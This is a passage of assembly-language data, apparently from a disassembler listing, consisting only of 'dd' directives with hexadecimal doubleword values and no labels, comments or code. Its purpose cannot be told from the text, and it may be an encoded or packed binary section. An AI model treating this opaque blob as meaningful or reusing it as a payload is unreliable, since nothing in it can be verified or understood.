		dd 3A978829h, 0D42B5E1Ch, 0ADBED40Bh, 3002D7E3h, 45752309h
		dd 0D95BA5DAh, 0B701A750h, 0D9B7D6D0h, 0B0BF44B8h, 67954103h
		dd 0ADB525A3h, 8BEE630h, 11A17A5h, 81C5FFB5h, 0A7C3CAEEh
		dd 0CD559CE7h, 81AB00FBh, 0D456C8EBh, 0C2832512h, 16C0669Bh
		dd 0F89367AFh, 0BE60BF07h, 7D1052F9h, 9E958D89h, 461127Ch
		dd 0B81F511Fh, 0BC2B5957h, 6C6E2F34h, 892FF6DEh, 0AF655BA9h
		dd 0FF4B5FEDh, 6B246E6Ch, 1D099364h, 7965732Fh,	1D6C191Ch
		dd 4EDC2782h, 310C2250h, 65059195h, 0F3A155B5h,	0D5B0AC4Ah
		dd 0BDF42B0Fh, 7F66A400h, 0DA9CFBFh, 45BFB02Ah,	646312h
		dd 0A6BA44B6h, 1C463E8Ch, 52C87195h, 1261BC49h,	0E6BF1CB1h
		dd 94B0F015h, 0A284098Dh, 0C4808EC0h, 57683EBFh, 0EEC1585Ah
		dd 0EA0430EDh, 89886EC2h, 9FC420h, 649F4766h, 0A759DE1h
		dd 0B054100h, 0C885156Dh, 0BBFFE1Ch, 66273501h,	0F6482955h
		dd 1D17DC14h, 0B6840BBEh, 6EA374FFh, 1D23CCh, 0D61715A7h
		dd 2E0966F5h, 717C72B6h, 0B70F84BBh, 0A290B8FBh, 73DE2B5Dh
		dd 96252910h, 0E85254F8h, 0D59C1DE8h, 464878C3h, 4C40D80Fh
		dd 473007E9h, 0E0FA6679h, 25B460F7h, 61369897h,	0ED965B5Bh
		dd 17FB800h, 29371A09h,	0C87ED777h, 5BB5860Fh, 29031236h
		dd 0B3342B6Ah, 2E6EC2AEh, 0E4046D75h, 0D1B66019h, 99534CC1h
		dd 0ECDF6038h, 88B2C257h, 0E95FF861h, 5BAEB72Ah, 6A8414DAh
		dd 0A3E3B8BCh, 0DB0B8741h, 5085789Ah, 1071BE2Fh, 1F4B5ABh
		dd 0BC3F925Fh, 2F54A913h, 0BD330430h, 0E21B4AC5h, 0A7044F55h
		dd 0CFAA3D4Eh, 1A64A82h, 58139DA0h, 1BA20112h, 23794104h
		dd 618EB016h, 58BFE92Dh, 607B8D99h, 0D8F65FF8h,	1679BDCFh
		dd 0E5611C0Ch, 84C15E8Bh, 0C102B8B5h, 7662BB50h, 1B2C39C9h
		dd 0BC6AF813h, 0A9D9C034h, 819AE2h, 99B523DEh, 0AED46228h
		dd 4A47EB02h, 0BD6A85D3h, 22D008Ah, 0F3C8B28Dh,	20EFD09Fh
		dd 5B4A2909h, 9D8030EFh, 98331E1h, 8247CC0h, 1F780AF3h
		dd 522F09B3h, 0DD70FC5Fh, 4DC6396h, 5190FD72h, 0D35AAC5Fh
		dd 0A0C130FFh, 0EE00264Ah, 1942B0BCh, 258CDCEDh, 617B90ECh
		dd 99AE70h, 8EBF973h, 8DD780C8h, 0E8906A5Dh, 0CF7304A7h
		dd 0C12D06AFh, 6202F121h, 53BB0251h, 5E0142FFh,	0D98B622Ah
		dd 7C863A57h, 0F701D44Bh, 34BDABE3h, 0E7FD6A9Dh, 12D56A70h
		dd 0EDD1FF5Fh, 56B8A5h,	0BFBB6AFDh, 81367A83h, 923EEF3Ch
		dd 4FF27080h, 10B1EA92h, 6F06F36h, 0BD132959h, 3FAA0AF1h
		dd 1D23FBh, 0C94F3B0Ah,	0E10BED7Ch, 98FAEF44h, 76DA28h
		dd 0DFB8A45Fh, 57BD7484h, 9665601h, 0DC8A5090h,	2D1D2h
		dd 9CDF80AAh, 81008CFFh, 6434DED8h, 0B5E9FC24h,	9300C3C4h
		dd 6BEA0526h, 2E37079Dh, 0C94FF98Ch, 8A83C271h,	0D8BAA491h
		dd 0E899F42h, 0E15118B4h, 0BE665D07h, 0C0E95F42h, 20A21C57h
		dd 0FC5A2486h, 290A06A3h, 0A5C6E98Dh, 0F3A58E5Bh, 6D315094h
		dd 0B9D6D305h, 8FEA69Fh, 0ACA4043Ch, 0ABE6A009h, 7066D36Ch
		dd 1000DA6Ah, 1BA56B12h, 7C2D0F67h, 642FFD80h, 6521C135h
		dd 0AE22A0Ah, 0F631BF92h, 0DA6A5B53h, 0C716C8B2h, 6A4D81F5h
		dd 0C2205AFFh, 717E2E3Eh, 0D5E204A7h, 6030A59Eh, 64A251Fh
		dd 0C19ADBEAh, 26FEE6E7h, 0D8C5132Ah, 53127354h, 45F65289h
		dd 19D6322h, 0B08CC8A0h, 2AC05C28h, 0DA9F3DF6h,	6B9B3300h
		dd 0DB25CD8Ch, 0F9E400BDh, 14BBEE46h, 4A2551BCh, 0D146E85Bh
		dd 0E2BF840Ah, 91445C0Eh, 0ADB44A2Bh, 23BD2385h, 88F554A5h
		dd 70690281h, 0BF2EF10Eh, 0C82B5C40h, 5A059529h, 5795B42Dh
		dd 82F7CAC2h, 9E9143F3h, 8F0F2555h, 0ABC0CFEAh,	30404195h
		dd 6EB0F061h, 222DB883h, 0FD032B15h, 79494755h,	0AB65D62Eh
		dd 1D81C220h, 0A9800004h, 2318468Bh, 6302214Fh,	17D3BC7Fh
		dd 284F960h, 83130EDEh,	81F1E275h, 62DB513h, 0F05B6D92h
		dd 9C905320h, 5F726006h, 0E016DF8Bh, 5D8D2F09h,	30C67C54h
		dd 39909759h, 4F04FD6Dh, 0AA89FDBh, 503930FEh, 1C0354A2h
		dd 90560913h, 1E1B7C1h,	914212B8h, 8B602062h, 0F10581C7h
		dd 77D9D3Dh, 231DD9AAh,	0D9670064h, 9743A5E3h, 4F6D12F5h
		dd 2219F24Bh, 0D9F94B3Ah
		dd 0A1E90214h, 990818D9h, 84AF2032h, 0BDAF86B5h, 0E380FE79h
		dd 0DEA71C28h, 8C2C0049h, 0C3BF3DDCh, 724A874Bh, 28A660AAh
		dd 4D9707A5h, 2919E06Eh, 4E129F11h, 0A1BA9D31h,	79E77A1Ah
		dd 0D5B8BAA4h, 2CC74B50h, 9B8C18Eh, 0E076880Ah,	0FD0B846Ah
		dd 0D337D513h, 0C8601496h, 0A89CB917h, 4B8D89A5h, 0BFCE00ADh
		dd 140B37Bh, 37458B97h,	0C3E8A584h, 514A84AAh, 0C64E26EEh
		dd 4A249D20h, 0BDA0C8FCh, 8138D00h, 0F7CBD160h,	0BB710226h
		dd 9544D79Dh, 0F915F957h, 0CB484817h, 0C4F7490Eh, 482367BFh
		dd 0A4E4FBh, 0FDEF9D43h, 949252C9h, 4A992703h, 0E886D175h
		dd 1CD22BB4h, 0D2433FBBh, 0D735F37Ah, 3DA1EB06h, 9528F6E2h
		dd 29C186D6h, 0B76A1DB5h, 0B0684680h, 4D22A29Eh, 0DA4A9C2Fh
		dd 0C018C8F9h, 4DBB4128h, 3060B92Eh, 801D6560h,	5A160088h
		dd 8E87E0C5h, 0C8047868h, 2EFB4599h, 0FEC711FDh, 0ABDF3461h
		dd 6A2A9B9Dh, 0B31104C4h, 30BCFA8Bh, 61C4DAADh,	0BDE01B03h
		dd 0A1296CEBh, 870424B1h, 0F9A5B795h, 6EC42279h, 0E74A3355h
		dd 0D80DA139h, 0C893DA2Bh, 0FDE1C018h, 0DD3B645Bh, 0BC225DFFh
		dd 0BE29021Ch, 2A69BD31h, 43DB9CD5h, 3114F2F3h,	3A282F84h
		dd 7A44D2E5h, 3E660083h, 0D1BF80F8h, 7675259Dh,	7E1D5AE5h
		dd 0D04EF3AFh, 0B32C603Bh, 6E02FEDDh, 5E44FA2Fh, 9E412D74h
		dd 0ECC96A20h, 4B541164h, 123CD24Eh, 611D6FD5h,	0C6608F21h
		dd 8984B5D1h, 4B9335BDh, 9CCBE361h, 0A427E6AFh,	97F1BE9Ch
		dd 0FF992C46h, 6E52CD80h, 25DD9002h, 0ED7CDC47h, 424B9E2h
		dd 0C5A3BC5Bh, 58B0DA8Ah, 0D98B8802h, 0CB26DA94h, 5630710Ah
		dd 0F6454632h, 7517BF5Dh, 0C339AA24h, 6997206Ah, 0E4F5B27Ah
		dd 5D9523E2h, 8770BD12h, 66505F2Dh, 0F5ACF596h,	56A36003h
		dd 0DF00B23Ah, 0BE261A9Eh, 6A9AB8Fh, 6515CD7Ch,	0F8384A57h
		dd 5648EB5Fh, 8049B508h, 58523CA7h, 0C009E098h,	7977C71Ah
		dd 0C1E9E24Fh, 0BF2D4E52h, 25B84EFBh, 3E7B266Dh, 1D8DBF81h
		dd 0DA2B74C7h, 0C017C81Dh, 99C157DEh, 310829BCh, 0FBD2320Bh
		dd 0ED3760FDh, 5BB78B30h, 0A70ABDD5h, 71493376h, 49299D51h
		dd 3FD51371h, 0F81209F7h, 1D117537h, 75DEFB80h,	7D002A0Dh
		dd 7094B5C4h, 97A6DF80h, 85646776h, 4B2A8BFAh, 0C0DB9084h
		dd 91FD87C1h, 96516035h, 2B210ABDh, 261353Ah, 0D8B009ABh
		dd 46D62B5Eh, 622E001Ah, 0C636CBAAh, 8075B18Ch,	0EA63B6B1h
		dd 5B01F8B9h, 57211468h, 1EE0BF29h, 0B03C4B74h,	223EEB16h
		dd 43AC4E48h, 0E6F500AAh, 8A74BB1Ch, 9040272Bh,	0BA132DD2h
		dd 44B66C42h, 0F88B127Dh, 0B826AD90h, 5838BF8Ah, 5E821405h
		dd 7C600912h, 9A06B550h, 88E0F44h, 8D535E41h, 3AE37FC0h
		dd 188B0F82h, 5FE03A5Eh, 0E054C1Ch, 0B6B010A8h,	0B1E4F5E0h
		dd 0B7046CF2h, 0DDED8028h, 7BA7A5B8h, 0E9DE8098h, 0D30E476Bh
		dd 432278A3h, 0A724AA73h, 0F0162A53h, 611723E3h, 7F6BFF5Fh
		dd 0B12B9CE5h, 0E55FB725h, 4330B97h, 14F4317Ch,	0DD45FAD5h
		dd 565F08B3h, 93F001A6h, 0B2BF6CFBh, 0CA7B63A0h, 373AD726h
		dd 2EED8D61h, 28B5AB44h, 0CF82C59Fh, 0ECFFE5ACh, 41079843h
		dd 0BB3E2024h, 5DEE9825h, 7195D344h, 9FE100FEh,	5735235Eh
		dd 3420965Ah, 953FB38h,	0CBF1F417h, 19896553h, 0D18F5B2Fh
		dd 10E1D0CEh, 67C67304h, 0E4801530h, 0AA2C2DF3h, 0B9EFDF88h
		dd 6D712060h, 96E80013h, 0C604E381h, 8CB23FECh,	0A5B8D19Fh
		dd 46D68954h, 123B001Dh, 19D31ED4h, 542516BCh, 13448249h
		dd 3E5745F5h, 0EA208516h, 605B696Fh, 0EAFA58A1h, 85295104h
		dd 70D01DA1h, 9D15810Fh, 7A00E36Eh, 1F130A2Fh, 6B8FF803h
		dd 5FF4A4C5h, 83F15B92h, 23E6E2Fh, 341CE73Bh, 0D9AD8372h
		dd 50F9000Ah, 0BCD78120h, 694A3739h, 14B2BEE6h,	1201EC30h
		dd 0F710B585h, 4B8D4850h, 9825DECh, 0D5D26D8Dh,	0D0447397h
		dd 781F206Ah, 2642CB50h, 0F6DAE570h, 0DD6C402Eh, 624B6A8Bh
		dd 15C8919Ah, 7D1D6EC2h, 0E300DE12h, 0C5ACAF15h, 6D038200h
		dd 81A0043Dh, 2F27B8C3h, 97543CF1h, 0C28BBCD6h,	37D9ABC5h
		dd 0EF477600h, 5BB34A27h, 0AFED01D9h, 2F505B90h, 1AC32CCh
		dd 0BC174B70h, 2AF1CB8Bh, 0A0BA2AD4h, 91A65266h, 109C6205h
		dd 62BA0BA4h, 0DC5F0934h, 246BB152h, 9612F5Bh, 220BD9BFh
		dd 9D35A025h, 5C739D22h, 1401B525h, 8B844C8Ah, 0D6D3B8D9h
		dd 76013A4Bh, 1646DE44h, 8410BC00h, 19FBBB53h, 0DC4B3327h
		dd 0B77A275Bh, 42CE9595h, 0A4681D25h, 0FBBFEE89h, 0B5DBC9ADh
		dd 0DE3650h, 9A1F944Ah,	5057791Ch, 715BF92Dh, 5C5B2F29h
		dd 27A48D0h, 0F413F98Bh, 90D7F5CDh, 88140Fh, 6D3CBAFAh
		dd 0D56A54F0h, 29165674h, 0CF4C58Dh, 0A4EF95C6h, 0CEAAF344h
		dd 0F2DF008Eh, 0E90CF65Ah, 0C1F3441Dh, 4178D2B3h, 0CD859765h
		dd 0A0F257A1h, 0F01B0E79h, 0B42DEA81h, 0E014C5C2h, 831C3D1Ch
		dd 333FFCFh, 832E79Fh, 0D767A9CCh, 0EC7C61D9h, 0C22B5883h
		dd 0BEF01A35h, 4D380E02h, 12A2E15Ah, 0B7C00EC2h, 0D0033C50h
		dd 323A813Bh, 44841945h, 9C2D70FCh, 11E912B0h, 0A5E8692h
		dd 0B9FD21C6h, 4F3C401Ah, 12097DC8h, 0D6E78B81h, 2D196312h
		dd 5B67F805h, 0D1A60C1Ch, 2CB53720h, 1208B64Dh,	64459D61h
		dd 6D41058Fh, 316FC483h, 308B5162h, 811410B0h, 6014B0A9h
		dd 0C03359B5h, 268990C3h, 64282CDDh, 0B3BB5224h, 0D26802EEh
		dd 57D49AA7h, 8DD275DCh, 82020804h, 8E275445h, 0EA258DD3h
		dd 93D51F33h, 0F052FBB5h, 0B6242DA3h, 258D1706h, 0A57A8101h
		dd 34922E1Fh, 7494A2E1h, 3730F75Bh, 9D1E737Dh, 0C1497A9Fh
		dd 0E1686624h, 0B0A7A72Fh, 2F9D33B1h, 0CAFB28E1h, 18EDD7A5h
		dd 0BDD5BB60h, 9D70390Eh, 0B9D010ADh, 2A26912Bh, 33EE178h
		dd 65902C1h, 465EEB27h,	0C08B7E31h, 9BF4ECh, 1C409A32h
		dd 0E777355Ch, 0BEF33903h, 0C06076D1h, 3DBCAF7h, 28FF3FFCh
		dd 0D3A0D812h, 0A200F5FAh, 935EA796h, 6656FEF7h, 21EF08BBh
		dd 96AA1A00h, 84BC941Bh, 0D78006Dh, 0CEA6775Ch,	0E400FCD6h
		dd 0D5FAE075h, 7333FFh,	0F9DE8A72h, 26D744DBh, 34FB9301h
		dd 0D41E5A3Dh, 0F0BB189Dh, 0A9D39530h, 68FCBD37h, 392EDF80h
		dd 2F760330h, 177ED9DEh, 21E70830h, 3926BCh, 682B5158h
		dd 3B8AF0A7h, 0F5BE22h,	56BA106Eh, 5AC747FBh, 78879F31h
		dd 0D006F442h, 18AD3C81h, 34390832h, 0E3C44F76h, 392AB843h
		dd 9FF850E0h, 8D786100h, 58742FFDh, 0FC013FF7h,	328A0506h
		dd 60C868E3h, 3931C1ACh, 8387133h, 0B988E830h, 0ED390529h
		dd 40F8F4B3h, 43085A68h, 0A1B053D1h, 0B00B7801h, 0F96E6A05h
		dd 30AB3442h, 2E11392Ch, 0EB881F76h, 3924BE80h,	0A8E516ADh
		dd 9E15D8h, 0CE7C4C6Fh,	2A77087Eh, 23838B1Fh, 2BC955DFh
		dd 0D2180034h, 0A1E08E6Fh, 0BEE460F8h, 0E5AB1E0Eh, 6A94077h
		dd 0B1045AA3h, 6407A5F6h, 0AA0B8EDDh, 30FFA600h, 0F431C23h
		dd 5CDE400Dh, 8531D469h, 3C10A330h, 0E688105h, 0DF479EF9h
		dd 4376DC3h, 3166AA80h,	4863FE36h, 0DA8B0210h, 0A885B90Bh
		dd 80FC090Eh, 4F52EEF8h, 0A23000A6h, 0DDAA081h,	103C6E1h
		dd 3BD9943h, 4298E0ACh,	30AFE26Bh, 9F41B8E9h, 0C876C79Dh
		dd 0A337CD07h, 69A07BC6h, 3947FA63h, 3383AE80h,	0B2E9B134h
		dd 0B7EA8900h, 0D1A95742h, 3594028Eh, 0AD209395h, 70E9D041h
		dd 3F00DE11h, 0A26781A6h
		dd 79E538A3h, 0D7BD0F23h, 9F80B003h, 0A5FF4C60h, 902F0F1Dh
		dd 66A9003Bh, 9ED5E727h, 30F90F42h, 5E20EA4Ah, 6C3B983Ch
		dd 87CDAC00h, 71C4AE7Dh, 938C0083h, 0D1487470h,	0D40030F2h
		dd 4A310966h, 0F3E372h,	2487CFDFh, 1DA87F63h, 71E44500h
		dd 0D7DCC979h, 6FBD0CF3h, 61193470h, 80FC3026h,	0C8FCB1Eh
		dd 79BC2098h, 6027BBEh,	427836FFh, 0F30799F8h, 0E7709587h
		dd 0A470CC0h, 0C0437C5Ch, 2BD93788h, 0F6009CAAh, 5D72AE9Dh
		dd 1DB3FEh, 0A5616DC3h,	0CC2E33DDh, 669C3100h, 6A03D019h
		dd 176B3E4Ah, 41F260E0h, 50DFD9C7h, 7587C400h, 0C0F19C24h
		dd 0BD282110h, 0EC007C98h, 0B6CEBEE4h, 3EF9108h, 0FF233C51h
		dd 0E0A379CDh, 17814107h, 0DF00FE1Bh, 40B079Bh,	568F6D38h
		dd 0B57EC057h, 3B605BDAh, 4E4914C1h, 7A3912C8h,	0B1B000B2h
		dd 64086B88h, 0A9D7B806h, 1E58C143h, 0C06F33EDh, 2F404457h
		dd 4703B4C9h, 0E83ED551h, 0A7C7D8FDh, 37CA0006h, 0EC1F88C5h
		dd 987708D4h, 4DFF7000h, 0CDF6D860h, 1AA700BCh,	7997D6B3h
		dd 0A6736D0Ah, 2CC6CA07h, 5F678Bh, 55404F04h, 0BB970058h
		dd 0D75B1FAh, 0BF305328h, 2ACA2095h, 7A3729D3h,	6328E220h
		dd 39538E30h, 400E5A7h,	0A096C564h, 0B8C0C6CDh,	69E80FAAh
		dd 0C1010348h, 0C0F94B0Bh, 2100B4A3h, 7FE7D68Dh, 29A2C35h
		dd 30997822h, 704143B8h, 0AAD88A2Dh, 4A062879h,	10E02E8Ch
		dd 7D79Dh, 5532E901h, 3ED92FE1h, 0DC8052C2h, 2A106491h
		dd 8B3E2DFDh, 1481400Bh, 54F02C1Bh, 8CBFB8h, 0BC73AFCCh
		dd 3323F68Ah, 0A895CB00h, 3AD10C0Fh, 90016783h,	0DB7B528Ch
		dd 38D08888h, 30CF4A2h,	0B8E4DA16h, 34A81B10h, 0E6C061E3h
		dd 8001C19Ah, 96EC743Ch, 898A444h, 92FC21C9h, 0B4A3C100h
		dd 0C7BC7F38h, 0AF9E3AE5h, 0C5002040h, 46CC07C2h, 61E3BE1Bh
		dd 7E8839BAh, 26B8DC6Dh, 384F6209h, 0BB6680A9h,	307B0851h
		dd 0C628A69Dh, 0A006F87h, 0F7442E0Ch, 0CA4C64BAh, 80B4D208h
		dd 0E80A37A4h, 3C067AE5h, 0BB47293Eh, 0FA940E88h, 28182CB2h
		dd 480C36A7h, 0F801D538h, 0A8B069Eh, 219663B2h,	0AE290314h
		dd 1B8900D0h, 39D1C965h, 2C69C1DAh, 40E4FF7Bh, 8045B8A0h
		dd 0CCCC0C3Ah, 0F1FA36E0h, 73C00318h, 0BA60B26Ah, 1518593Ah
		dd 78C4CCD6h, 8672E600h, 0D9567F9Fh, 998EDE0h, 7B4621F3h
		dd 62FCD5F4h, 22352900h, 25B70E0Dh, 277E0045h, 0AA9ECC50h
		dd 0C56F338Ah, 1C608378h, 85D8072Ah, 0C6BB5287h, 6320C05Fh
		dd 88AC8108h, 0A046E18h, 0F61C2E03h, 0A520D832h, 0E00A36h
		dd 61CC1334h, 0D2983F20h, 979F571Bh, 8FD7B879h,	9D781894h
		dd 8CCD39D6h, 0D80045EAh, 7F961F2Fh, 1E93C3h, 0BBB96142h
		dd 3C6560C4h, 0D0A3293Eh, 863C34D4h, 50722B2h, 0C59C74CEh
		dd 7C5C0801h, 0F0A6AC0h, 0F73C212Eh, 6900D591h,	7AAA0A32h
		dd 0BD49E3A8h, 0A11A0038h, 0D7E1ACF0h, 0F863ECCFh, 0FCCB0205h
		dd 0C6AB5387h, 44942462h, 703318FDh, 242E2B0Ah,	0E11198h
		dd 4F0A3BA0h, 6F9FA0Fh,	0E2FC84A3h, 40081BFh, 734BDA9Eh
		dd 711EAB61h, 0DC8700F4h, 8D4344C5h, 83183002h,	0E188B1EFh
		dd 2977B55h, 26D4DB58h,	0BC603873h, 0E5674516h,	5F91BF70h
		dd 27E1C6A2h, 402C0020h, 7F0947E7h, 8EAC3417h, 278460C8h
		dd 4982ED4Bh, 8A0858D3h, 0A303C6BDh, 0E60468h, 98506438h
		dd 5534B91Bh, 2B208C90h, 402462CBh, 28412858h, 0C0851452h
		dd 4AB00418h, 9FAA322Dh, 3A20A220h, 254D831h, 7C4B25BBh
		dd 9C4ADE2Dh, 88868806h, 2CC55620h, 4128B2E2h, 30C95B9Dh
		dd 47005FBCh, 78885E9Fh, 0CA0BBB0Fh, 81B8AA60h,	9C73C92Eh
		dd 3AD054D9h, 0D223D8h,	46967685h, 0C94C32B2h, 6E40058h
		dd 1F613C60h, 0F5090CEh, 28B01782h, 3B079094h, 0A0A2ED51h
		dd 0CD09CA1Ah, 7F87EC91h, 6E349886h, 49222F62h,	0D875437Ch
		dd 3BBFF50Dh, 28988955h, 452621FAh, 0E04D4814h,	0B82E0AC8h
		dd 3943FC6Bh, 0D0D848A8h, 9D013523h, 6C3C73C1h,	589C818h
		dd 503EC1E8h, 4037D870h, 6F16B8C7h, 0F501D65Fh,	0E517FDCCh
		dd 263D0064h, 0A4E47B59h, 76B80C24h, 51C29520h,	80D01830h
		dd 0CE38E3F8h, 859A443Ah, 9CF37926h, 25511009h,	0F041A334h
		dd 2E74609Bh, 160D8A4h,	8AAB1D98h, 0DEC99BB3h, 0A3C5E038h
		dd 170418C0h, 0CCA971B1h, 7D90E754h, 8DEC4F03h,	616D9801h
		dd 11877821h, 4F79CC24h, 709307Ch, 11DD9C98h, 0BCF97B14h
		dd 0C412F88Ch, 0E2609E39h, 75B2A921h, 0EF960198h, 8761DC59h
		dd 7B4C34CBh, 7FF42F1Fh, 0A83BD980h, 0B2394Eh, 0B6361F82h
		dd 293098FFh, 0BD923C00h, 9AD8FE5h, 0CD150F83h,	0F0B9A539h
		dd 9C0BF88Eh, 99D5A900h, 0D981EF55h, 1B6C01B9h,	0EB3130E8h
		dd 82408394h, 3DBEF44Fh, 8180DE58h, 6CF6B8E3h, 0CCB10F72h
		dd 0F018C879h, 7F55ABE8h, 30E1F2A0h, 4011890h, 114833E8h
		dd 572CC4h, 0D2A6E808h,	0C937A34Dh, 0E011850Eh,	0FE729BFh
		dd 1C41B24Ch, 8B5B2D26h, 53D16874h, 7900D033h, 5B2924D3h
		dd 0A0B0F1BEh, 0B3641250h, 0A1082C30h, 34B23893h, 80110B2Eh
		dd 71827F3Ch, 236B8A17h, 2F1BB002h, 0BC60E0D0h,	0C31988F7h
		dd 0F3394716h, 6607FC40h, 43197CCh, 13F8542h, 7D448096h
		dd 87481417h, 59300220h, 0E0B81AD0h, 90EFD14h, 0C01F819Dh
		dd 0F5736448h, 3CD67A14h, 2FAFE120h, 38E42818h,	74EBC124h
		dd 247281BAh, 0B483532Dh, 85458C40h, 0CE7D2AAAh, 47D10880h
		dd 2E0307E6h, 0B973373h, 52256B28h, 803AD837h, 2E56425Dh
		dd 0F86E0EFAh, 27E80DB2h, 70B88BA4h, 3F09B834h,	82966015h
		dd 0E4CC06F4h, 0CD0C2154h, 9D868081h, 0FB18667Fh, 0F4894488h
		dd 420415C2h, 3F05E8BBh, 1CC6751h, 381F88C4h, 82A855DCh
		dd 4446AE94h, 3029246h,	21486DE8h, 594BFC33h, 43B2F180h
		dd 2F50A860h, 5A58CCB0h, 0A59BC050h, 493E7A04h,	0CC18D81Dh
		dd 3B3AA9F9h, 97672200h, 926220D2h, 8DF72C99h, 7C010FCh
		dd 43E4B280h, 28C0A4B4h, 6CE63E5h, 0CF824270h, 5B004903h
		dd 488B1576h, 0D04D4Ah,	5792946Bh, 0B86843C8h, 819EFCA8h
		dd 2FD10A02h, 23BFF353h, 1BC22EBDh, 0AC0F0A8h, 39849470h
		dd 0E80D01C6h, 0C0F1486Fh, 8B88BE0Ch, 0FAE700D4h, 45D3C87Ch
		dd 132C5C3Ah, 0EA01AC9Dh, 651CBA53h, 0A0A31630h, 83C508B8h
		dd 0FCCC76D8h, 8FC7C9CBh, 0D609800Ch, 7D6E20h, 96C14615h
		dd 0B827ED24h, 792A4100h, 0AABC0B81h, 30F8B983h, 21FB1668h
		dd 29ED2CBh, 210803C8h,	21DAC75Bh, 6334F1F0h, 45EE17D4h
		dd 919330Fh, 48446D5h, 7F9C8673h, 2B2E628Eh, 7840160Fh
		dd 6F922C03h, 7F503500h, 0D2C7A802h, 0A0BE53A7h, 8130B2A2h
		dd 55430096h, 2E7320B8h, 46136C2Ch, 903A0B25h, 0DE00B223h
		dd 1F35BA38h, 84BE49E3h, 7DA40C00h, 8C8BC494h, 2B906D7Fh
		dd 54EC4B02h, 0C13E8A39h, 0AC508380h, 0FDA530A3h, 0F7282020h
		dd 90649432h, 0E80E6097h, 0F9482470h, 0D58A7010h, 9D09E700h
		dd 0CAA4C7CFh, 0D3C40364h, 0F2053043h, 532C6002h, 6CA6B18Fh
		dd 9A377C4h, 0D7FC3F79h, 0C224D804h, 6D308940h,	2E02110Ah
		dd 80DE8814h, 440A35A2h, 86005D29h, 0E74D79BEh,	581A3930h
		dd 9F8E709Eh, 736D00B0h, 0B6C43C81h, 9774A8Ah, 9980A5C0h
		dd 0E2B5CC9Fh, 4602B700h, 28830C23h, 2C27E6F6h,	42BCBC1Fh
		dd 0E000A105h, 6CD4611h
		dd 2E59DD0Bh, 0D920F0C8h, 5CAA01DEh, 0A0E73EE8h, 0C3F610C4h
		dd 3C750091h, 62A2F3DAh, 3CB1CCA1h, 0DB0C1D01h,	22893E52h
		dd 68A78331h, 810ACB86h, 4C1E1778h, 0D360C6C8h,	0BFE030FBh
		dd 0E1DCD450h, 7ED5E902h, 81B1BC3Fh, 0F1CD0EA8h, 0FA0761B8h
		dd 0D070EE59h, 772D405Ah, 0D0393A00h, 74135D93h, 48CE540Ch
		dd 1E4A3D45h, 44815A80h, 0BF80AFCFh, 0BA9FD518h, 104ED1h
		dd 2E25B768h, 16646296h, 0F82F291Eh, 45CD4281h,	88509538h
		dd 10D879Ah, 0B36946BAh, 0EF0F393Fh, 0F601E172h, 3DABA358h
		dd 0F820F9DCh, 1A22820h, 21E6B0h, 754903DAh, 3F838DFCh
		dd 4BDC9450h, 0AA0FAC05h, 0FCC3A2E1h, 0CDFAA15Eh, 84E60430h
		dd 803F8B27h, 64DB3CC8h, 43CF0028h, 4488E7D6h, 97002D38h
		dd 250EC4Ch, 0C23B077h,	2C8940A3h, 21C0F008h, 0D80218C9h
		dd 0DFD91EDBh, 0F113C1F8h, 706238D1h, 0B7F20C0Dh, 603C491Bh
		dd 0B8100030h, 0A896BED8h, 7F7C3A42h, 0E1539318h, 6C0D21h
		dd 5B5EAF01h, 83683760h, 21D508CCh, 174002Ch, 79AC10FCh
		dd 8FF2E00Bh, 0C5E21800h, 0E2F465Eh, 0E72D03C3h, 712843C2h
		dd 92B63818h, 0FF475118h, 0C1B20CF1h, 133075F0h, 0B0AA1102h
		dd 8021887Bh, 0C021BFAh, 3501921Fh, 3D3F869Fh, 8082E82Bh
		dd 0B27B4A4Eh, 0DC116C9Dh, 0EF1B439Ch, 700F0B5Ah, 610AA3D3h
		dd 206336Ch, 113B1F0h, 60BD2224h, 80E94B14h, 5C0A7578h
		dd 60B36A0h, 0BAD296EBh, 4F00E845h, 0D47A9C13h,	184D9779h
		dd 0A0F6EF6Ah, 3900D75Ah, 0B12F2745h, 0E4FE6B5h, 0A8CBAA4Dh
		dd 0C25D41A1h, 477EF4F0h, 0B598CA01h, 42D5CC11h, 7E862DF8h
		dd 877539h, 0D8B4017Bh,	2CECB893h, 5BA1FB00h, 0C94D80A3h
		dd 0E7D4FEA5h, 0DCAD0CBh, 908C7C30h, 7CE7CE8h, 0AB386362h
		dd 0D2C9500Eh, 8D00BA28h, 2D47831Dh, 0C66F8BDEh, 20611208h
		dd 8DBD4F00h, 313DDD3Fh, 44820063h, 0F851C737h,	1D0F654Dh
		dd 20610730h, 0EE7F441h, 0F786D0E9h, 35861D7Ch,	1BC1CC64h
		dd 82002551h, 0BA991CBEh, 0F59844h, 0B9E2C08Dh,	17EF65D5h
		dd 55C7F31Ch, 8B04599h,	705CA9A1h, 8660F5h, 0F7112E5Eh
		dd 5FD1179Fh, 7CA7610Dh, 80D9A82Ah, 97D73040h, 180260E5h
		dd 2B6D5D11h, 0AD1D8C0h, 0A0F479FFh, 3F7B27A4h,	0D21F9E4Bh
		dd 0DB510C09h, 92078618h, 973A1E05h, 0AE385220h, 632B0B85h
		dd 6100F8DDh, 0EB23DECFh, 0B06858h, 4AF1DA3Ah, 0AE55D2h
		dd 93B91A82h, 37CDA64Dh, 1591F500h, 590ED403h, 1B160056h
		dd 66A8EC49h, 7F00AB48h, 55C64673h, 9FA0C4h, 1656216h
		dd 9E393515h, 60BA8900h, 0BEA464Ah, 0C1800041h,	66A9AD45h
		dd 7500B611h, 0BFE5B118h, 9A8D59h, 0EC7876F2h, 0E93EADA1h
		dd 2AE20700h, 0AB759E0Bh, 0C6A00041h, 0E7363281h, 404C3BB7h
		dd 0CA160033h, 0C1066029h, 2AF70062h, 7BC64F4h,	0BDE8F5ACh
		dd 0F9A64A17h, 0A0CDBA0Fh, 3D81EB12h, 165C0F07h, 0F80FBA4h
		dd 52C7A24Fh, 0A0F8BA09h, 0D18303D6h, 457CC057h, 4081F77Ah
		dd 0B17D9964h, 74608362h, 0E839A9D2h, 556C52h, 0FE86EE4Dh
		dd 8DE994CAh, 0BDEAF103h, 780C9FFDh, 0CFF60530h, 59E4D56h
		dd 807D1714h, 20FDC4EEh, 193F590Ch, 0DF478AEh, 215053B3h
		dd 0E41C0CD1h, 47192863h, 3FC00024h, 17BA5C3Ah,	7B33D273h
		dd 0B7F79938h, 14C0F686h, 10F210DDh, 28A75CD1h,	0D24500B9h
		dd 4DB601E7h, 0C4DA0380h, 0C675B42Ch, 7C642000h, 0BCA4742Fh
		dd 624C2808h, 0A88200DFh, 5C057303h, 0B1C010E3h, 0C1D56A2Ch
